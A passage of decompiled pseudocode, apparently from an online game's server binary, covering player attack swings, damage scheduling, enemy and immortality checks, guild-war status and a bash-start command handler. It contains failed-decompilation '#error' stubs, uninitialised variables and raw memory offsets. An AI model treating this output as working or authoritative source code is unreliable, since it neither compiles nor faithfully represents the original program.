231) || (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 1000))(v3, 605) || (v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2252))(v3), v6 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2252))(v2)) || (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2252))(v3) == 3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); result = 0; } else { v5 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1228))(v3) == 2 || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1228))(v3) == 8 || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1228))(v3) == 5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); result = v5; } return result; } //----- (00428D80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SwingStart(void *this, int a2) { void *v2; // esi@1 char *v3; // edi@1 int v4; // edx@1 int v5; // ST04_4@1 int v6; // eax@1 int v7; // ecx@1 int v8; // eax@2 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@1 int v10; // [sp+24h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SwingStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9287; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v3 + 2) = *(_WORD *)(a2 + 4); v4 = **((_DWORD **)v2 + 1791); v10 = 0; v3[6] = (*(int (__stdcall **)(char *))(v4 + 4))((char *)v2 + 7164); *(_WORD *)(v3 + 7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1288))(v2); v3[10] = *((_BYTE *)v2 + 7436); ++*((_WORD *)v2 + 3722); v3[9] = *((_BYTE *)v2 + 7444); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 11); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v10) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 0); v7 = *((_DWORD *)v2 + 964); if ( v7 ) v8 = (*(int (**)(void))(*(_DWORD *)v7 + 64))(); else v8 = 0; (*(void (__stdcall **)(char *, int))**((void (__stdcall ****)(_DWORD, _DWORD))v2 + 1791))((char *)v2 + 7164, v8); LOBYTE(v10) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingStart"); } //----- (00428EE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage(void *this) { void *v1; // esi@1 int v2; // edi@1 int result; // eax@4 signed __int64 v4; // qax@11 DiceTaiSai *v5; // ecx@13 ItemDataBox::ItemDataBoxIndex *v6; // edi@13 int v7; // eax@14 int v8; // eax@15 unsigned __int16 v9; // ax@15 unsigned __int16 v10; // ax@17 bool costumdec; // [sp+2Bh] [bp-11h]@3 FunctionEntarance _; // [sp+2Ch] [bp-10h]@1 int v13; // [sp+38h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 8074); v13 = 0; if ( !v2 ) v2 = *((_DWORD *)v1 + 8075); costumdec = *((_WORD *)v1 + 71788) == 1; if ( v2 ) { if ( !(unsigned __int8)(*(int (__thiscall **)(void *, int))(*(_DWORD *)v1 + 1828))(v1, v2) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 40))(v2) || (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 1000))(v2, 231) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 3400))(v1); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"); result = 0; } else { if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 1000))(v2, 605) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 3400))(v1); } else { v4 = 140737488400i64 * (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1284))(v1); LOBYTE(v4) = *((_BYTE *)v1 + 139468); *((_DWORD *)v1 + 5839) = *((_DWORD *)v1 + 5840) + (SHIDWORD(v4) >> 12) + (HIDWORD(v4) >> 31); if ( v4 & 4 && !(unsigned __int8)(*(int (__thiscall **)(void *, int, signed int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 3420))( v1, v2, 609, 0, 0, 0) ) { v5 = (DiceTaiSai *)*((_DWORD *)v1 + 35816); v6 = 0; if ( v5 ) { MoveManager::MoveManager(v5); if ( v7 ) { MoveManager::MoveManager(*((DiceTaiSai **)v1 + 35816)); v9 = *(_WORD *)(v8 + 8); if ( v9 != -1 ) v6 = ItemDataBox::operator__(&itemdatabox, v9); } } v10 = *((_WORD *)v1 + 71788); if ( v10 >= 3u || !v6 || !v6->HitTimeArray[v10] ) *((_WORD *)v1 + 71788) = 0; ++*((_WORD *)v1 + 71788); } if ( costumdec ) (*(void (__thiscall **)(void *, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 3448))(v1, 0, 0, 0); } v13 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 3400))(v1); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"); result = 0; } return result; } //----- (00429120) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_mobile_IsImmortal(void *this) { void *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2536))(v1) || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1232))(v1) && *((_BYTE *)v1 + 23352) < 0 ) v2 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"); return v2; } //----- (004291E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsInGuildWar(void *this) { void *v1; // esi@1 unsigned int v2; // eax@1 CGuildZone::GUILD_ZONE_LIST *v3; // eax@2 char result; // al@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IsInGuildWar"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_IsInGuildWar"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2088))(v1); if ( v2 && (v3 = CGuildZone::Find(&gGuild, v2)) != 0 && v3->GuildZone.nWarStatus == 2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IsInGuildWar"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IsInGuildWar"); result = 0; } return result; } //----- (004292C0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMobileObject::smo_HitNotRevision(void *this) { void *v1; // edi@1 signed int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( *((_WORD *)v1 + 3722) == 1 ) v2 = -150; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"); return v2; } //----- (00429330) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor"); return 1000; } //----- (00429380) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor(void *this) { void *v1; // esi@1 int v2; // eax@2 int v3; // esi@2 signed int result; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (**)(void))(**((_DWORD **)v1 + 964) + 64))() == 21 ) { v2 = (((*((_WORD *)v1 + 71788) != 3) - 1) & 0x64) + 300; --funcallanalizer.fca_stackpoint; v3 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor"); result = v3; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor"); result = 1000; } return result; } //----- (00429470) -------------------------------------------------------- #error "429470: undefined or illegal type '#593' (funcsize=317)" //----- (004298F0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_mob_GetTopAggroTarget() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_GetTopAggroTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_GetTopAggroTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_GetTopAggroTarget"); return 0; } //----- (00429940) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_GetTopAggroTarget(void *this) { void *v1; // esi@1 int v2; // ecx@1 int result; // eax@2 int v4; // eax@3 int v5; // esi@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_GetTopAggroTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_GetTopAggroTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *((_DWORD *)v1 + 2097) ) { v4 = (*(int (__stdcall **)(_DWORD))(**((_DWORD **)v1 + 2097) + 56))(v1); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_GetTopAggroTarget"); result = v5; } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_GetTopAggroTarget"); result = 0; } return result; } //----- (00429A20) -------------------------------------------------------- #error "429A20: undefined or illegal type '#593' (funcsize=23)" //----- (00429A70) -------------------------------------------------------- #error "429A70: undefined or illegal type '#593' (funcsize=202)" //----- (00429D20) -------------------------------------------------------- #error "429D20: undefined or illegal type '#593' (funcsize=105)" //----- (00429E90) -------------------------------------------------------- #error "429E90: undefined or illegal type '#734' (funcsize=104)" //----- (0042A030) -------------------------------------------------------- #error "42A030: undefined or illegal type '#593' (funcsize=48)" //----- (0042A0B0) -------------------------------------------------------- #error "42A0B0: undefined or illegal type '#593' (funcsize=213)" //----- (0042A370) -------------------------------------------------------- #error "42A370: undefined or illegal type '#615' (funcsize=60)" //----- (0042A470) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart(void *this) { int v1; // esi@1 #593 *v2; // eax@1 int v3; // ebp@2 int v4; // eax@9 unsigned int v5; // edi@14 int v6; // eax@15 int v7; // edx@15 int v8; // eax@15 int v9; // eax@17 int v10; // eax@20 char v11; // al@23 int v12; // ecx@24 unsigned int v13; // eax@26 DiceTaiSai *v14; // ecx@28 int v15; // eax@29 int v16; // eax@30 unsigned __int16 v17; // ax@30 char *v18; // eax@31 signed int v19; // ebp@32 char *v20; // ebx@32 signed int v21; // edx@33 int v22; // edi@33 char v23; // ST0C_1@34 int v24; // ST04_4@34 signed int v25; // eax@34 char v26; // ST0C_1@36 int v27; // ST04_4@36 int v28; // edi@36 signed int v29; // eax@36 int v30; // eax@37 int v31; // edi@37 signed int v32; // eax@37 FunctionEntarance _; // [sp+10h] [bp-1Ch]@1 #593 *target; // [sp+14h] [bp-18h]@2 int targetcoord; // [sp+18h] [bp-14h]@15 int v37; // [sp+1Ch] [bp-10h]@15 int v38; // [sp+28h] [bp-4h]@1 v1 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)(v1 + 143576) = 0; v2 = *(#593 **)(v1 + 32296); v38 = 0; if ( v2 ) { target = v2; v3 = (int)v2; } else { v3 = *(_DWORD *)(v1 + 32300); target = *(#593 **)(v1 + 32300); } if ( (unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v1 + 2432))( v1, v3, "sp_Schedule_SwingStart") ) { if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1068))(v1) + 3086) & 4 ) goto LABEL_45; if ( !*(_DWORD *)(*(_DWORD *)(v1 + 143308) + 10) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 3400))(v1); LABEL_41: v38 = -1; goto LABEL_42; } v4 = *(_DWORD *)(v1 + 32296); if ( !v4 ) v4 = *(_DWORD *)(v1 + 32300); if ( !(unsigned __int8)(*(int (__stdcall **)(int))(**(_DWORD **)(v1 + 3856) + 72))(v4) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 768))(v3) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 40))(v3) ) { LABEL_45: (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 3400))(v1); goto LABEL_41; } v5 = (unsigned int)(10 * (*(_DWORD *)(v1 + 139460) + (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1732))(v3))) >> 3; if ( ShineObjectClass::ShineObject::so_DistanceSquar(v1, v3) <= v5 * v5 ) { v6 = *(_DWORD *)(v3 + 78); targetcoord = *(_DWORD *)v6; v7 = *(_DWORD *)(v6 + 4); v8 = *(_DWORD *)(v1 + 32296); v37 = v7; if ( !v8 ) v8 = *(_DWORD *)(v1 + 32300); ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v1, *(_DWORD *)(v8 + 78), 10000, (int)&targetcoord, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); v9 = *(_DWORD *)(v1 + 32296); if ( !v9 ) v9 = *(_DWORD *)(v1 + 32300); if ( **(_DWORD **)(v9 + 78) == targetcoord ) { v10 = *(_DWORD *)(v1 + 32296); if ( !v10 ) v10 = *(_DWORD *)(v1 + 32300); if ( *(_DWORD *)(*(_DWORD *)(v10 + 78) + 4) == v37 ) { v11 = *(_BYTE *)(v1 + 139468); ++*(_BYTE *)(v1 + 7436); if ( !(v11 & 4) ) { LABEL_39: v38 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } ShineObjectClass::ShineMobileObject::smo_SwingStart((void *)v1, v3); v12 = *(_DWORD *)(v1 + 3856); if ( v12 && (*(int (**)(void))(*(_DWORD *)v12 + 64))() == 11 ) { v13 = DirectDistanceTable::ddt_Distance( &ddt, **(_DWORD **)(v3 + 78) - **(_DWORD **)(v1 + 78), *(_DWORD *)(*(_DWORD *)(v3 + 78) + 4) - *(_DWORD *)(*(_DWORD *)(v1 + 78) + 4)); *(_WORD *)(v1 + 143256) = ((signed int)((unsigned __int64)(1374389535i64 * (signed int)(1000 * v13)) >> 32) >> 8) + ((unsigned int)((unsigned __int64)(1374389535i64 * (signed int)(1000 * v13)) >> 32) >> 31); } else { *(_WORD *)(v1 + 143256) = 0; } v14 = *(DiceTaiSai **)(v1 + 143264); if ( !v14 || (MoveManager::MoveManager(v14), !v15) || (MoveManager::MoveManager(*(DiceTaiSai **)(v1 + 143264)), v17 = *(_WORD *)(v16 + 8), v17 == -1) ) { v26 = *(_BYTE *)(v1 + 7436); v27 = *(_WORD *)(v1 + 143256); v28 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1284))(v1) / 2; v29 = ShineObjectClass::ShineMobileObject::smo_HitNotRevision((void *)v1); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_PushBack( (NormalAttackDamageDelay::NormalAttackDamageTick *)(v1 + 66156), v29 + v28, v27, (#593 *)v3, v26); LABEL_37: v30 = *(_DWORD *)v1; *(_WORD *)(v1 + 143576) = 1; v31 = (*(int (__thiscall **)(int))(v30 + 1284))(v1); v32 = ShineObjectClass::ShineMobileObject::smo_HitNotRevision((void *)v1); ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)(v1 + 143172), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))&ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_DAMAGE, v32 + v31); goto LABEL_39; } v18 = (char *)ItemDataBox::operator__(&itemdatabox, v17)->HitTimeArray; if ( *(_WORD *)v18 ) { v19 = 0; v20 = v18; do { v21 = (signed int)((unsigned __int64)(*(_WORD *)v20 * (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1284))(v1) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v22 = v21 + ((unsigned int)v21 >> 31); if ( v22 <= 0 ) break; v23 = *(_BYTE *)(v1 + 7436); v24 = *(_WORD *)(v1 + 143256); v25 = ShineObjectClass::ShineMobileObject::smo_HitNotRevision((void *)v1); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_PushBack( (NormalAttackDamageDelay::NormalAttackDamageTick *)(v1 + 66156), v22 + v25, v24, target, v23); ++v19; v20 += 2; } while ( v19 < 3 ); goto LABEL_37; } } } } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 3400))(v1); goto LABEL_39; } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 3400))(v1); v38 = -1; LABEL_42: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"); return 0; } //----- (0042A840) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@11 int v6; // eax@14 int v7; // ecx@17 unsigned __int16 v8; // ax@19 int v9; // eax@20 int v10; // eax@22 int v11; // edx@22 int v12; // eax@22 int v13; // eax@24 int v14; // eax@27 unsigned int v15; // ecx@30 bool v16; // cf@30 bool v17; // zf@30 void *v18; // ecx@30 int v19; // eax@32 int v20; // eax@32 char v21; // dl@36 char v22; // bl@36 FunctionEntarance _; // [sp+10h] [bp-18h]@1 int targetcoord; // [sp+14h] [bp-14h]@22 int v25; // [sp+18h] [bp-10h]@22 int v26; // [sp+24h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; if ( !(_S17_5 & 1) ) { _S17_5 |= 1u; cmc_14.cmc_AllowMode = 4; atexit(_E18_5); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_14.cmc_AllowMode) ) goto LABEL_41; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2256))(v4); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear((NormalAttackDamageDelay::NormalAttackDamageTick *)((char *)v4 + 66156)); if ( !*(_DWORD *)((char *)v4 + 98) || *((_BYTE *)v4 + 7428) & 4 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3400))(v4); goto LABEL_41; } if ( (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1000))(v4, 231) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3400))(v4); LABEL_41: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD"); return; } if ( (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1000))(v4, 605) ) goto LABEL_44; if ( !*((_DWORD *)v4 + 8074) && !*((_DWORD *)v4 + 8075) ) goto LABEL_35; v5 = *((_DWORD *)v4 + 8074); if ( !v5 ) v5 = *((_DWORD *)v4 + 8075); if ( !SubLayer::SubLayerInteractLoader::slil_Interact( &sublayerinteract, *(SubLayer::Layer **)((char *)v4 + 94), *(SubLayer::Layer **)(v5 + 94)) ) goto LABEL_44; v6 = *((_DWORD *)v4 + 8074); if ( !v6 ) v6 = *((_DWORD *)v4 + 8075); if ( !ShineObjectClass::ShineObject::so_SubLayer_CanAttack(v4, v6) ) goto LABEL_35; v7 = *((_DWORD *)v4 + 8074); if ( !v7 ) v7 = *((_DWORD *)v4 + 8075); v8 = (*(int (**)(void))(*(_DWORD *)v7 + 1792))(); if ( !MobDataBox::mdb_CanIKill(&mobdatabox, v8, MKID_USER) ) goto LABEL_35; v9 = *((_DWORD *)v4 + 8074); if ( !v9 ) v9 = *((_DWORD *)v4 + 8075); v10 = *(_DWORD *)(v9 + 78); targetcoord = *(_DWORD *)v10; v11 = *(_DWORD *)(v10 + 4); v12 = *((_DWORD *)v4 + 8074); v25 = v11; if ( !v12 ) v12 = *((_DWORD *)v4 + 8075); ShineObjectClass::ShineObject::so_FindBlockLocate( v4, *(_DWORD *)(v12 + 78), 10000, (int)&targetcoord, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); v13 = *((_DWORD *)v4 + 8074); if ( !v13 ) v13 = *((_DWORD *)v4 + 8075); if ( **(_DWORD **)(v13 + 78) != targetcoord ) goto LABEL_44; v14 = *((_DWORD *)v4 + 8074); if ( !v14 ) v14 = *((_DWORD *)v4 + 8075); if ( *(_DWORD *)(*(_DWORD *)(v14 + 78) + 4) != v25 ) { LABEL_44: v18 = v4; goto LABEL_31; } v15 = *((_DWORD *)v4 + 5839); v16 = v15 < clockwatch.cw_CurrTick; v17 = v15 == clockwatch.cw_CurrTick; v18 = v4; if ( !(v16 | v17) ) { LABEL_31: (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 3400))(v18); v26 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } *((_DWORD *)v4 + 5840) = clockwatch.cw_CurrTick; v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1320))(v4); List::l_4AllInList( (List *)(v19 + 3240), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); v20 = *((_DWORD *)v4 + 8074); if ( !v20 ) v20 = *((_DWORD *)v4 + 8075); if ( !(unsigned __int8)(*(int (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v4 + 2432))( v4, v20, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD") ) { LABEL_35: (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 3400))(v4); v26 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v21 = *((_BYTE *)v4 + 139468) | 4; *((_WORD *)v4 + 3722) = 0; *((_BYTE *)v4 + 139468) = v21; v22 = v21; if ( !ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 143172)) ) { *((_DWORD *)v4 + 34864) = 0; *((_BYTE *)v4 + 139468) = v22 | 1; ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 143172), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_SWING, 0); } v26 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0042ABC0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(AbnormalStateContainer::AbstateElementInObject *_First, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x6Cu); v6 = (char *)v6 + 108; --v5; } while ( v5 ); } } //----- (0042ABF0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Ptr, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0042AC20) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0042AC90) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 std::vector > *v5; // ebp@1 std::vector >::iterator v6; // ecx@1 AbnormalStateContainer::AbstateElementInObject *v7; // edx@2 std::vector >::iterator v8; // ebx@2 const void *v9; // esi@3 void *v10; // edi@3 AbnormalStateContainer::AbstateElementInObject *v11; // edi@5 AbnormalStateContainer::AbstateElementInObject *v12; // esi@5 std::vector >::iterator *v13; // eax@9 v4 = _Last; v5 